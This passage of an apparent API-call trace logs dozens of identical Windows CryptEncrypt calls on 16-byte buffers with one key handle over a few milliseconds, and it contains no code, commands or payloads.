pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.652] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.652] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.652] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.652] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.652] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.652] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.652] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.652] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.652] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.652] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.652] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.652] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.652] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.652] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.652] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.652] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.652] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.652] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.652] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.652] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.652] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.652] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.653] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.653] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.653] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.653] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.653] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.653] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.653] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.653] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.653] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.653] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.653] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.653] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.653] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.653] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.653] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.653] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.653] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.653] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.653] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.653] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.653] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.653] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.653] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.654] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.654] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.654] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.654] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.654] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.654] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.654] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.654] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.654] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.654] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.654] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.654] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.654] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.654] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.654] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.654] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.654] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.654] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.654] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.654] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.654] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.654] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.655] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.655] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.655] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.655] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.655] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.655] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.655] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.655] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.655] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.655] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.655] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.655] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.655] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.655] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.655] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.655] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.655] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.655] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.655] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.655] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.655] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.655] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.656] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.656] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.656] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.656] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.656] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.656] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.656] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.656] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.656] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.656] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.656] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.656] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.656] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.656] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.656] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.656] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.656] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.656] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, 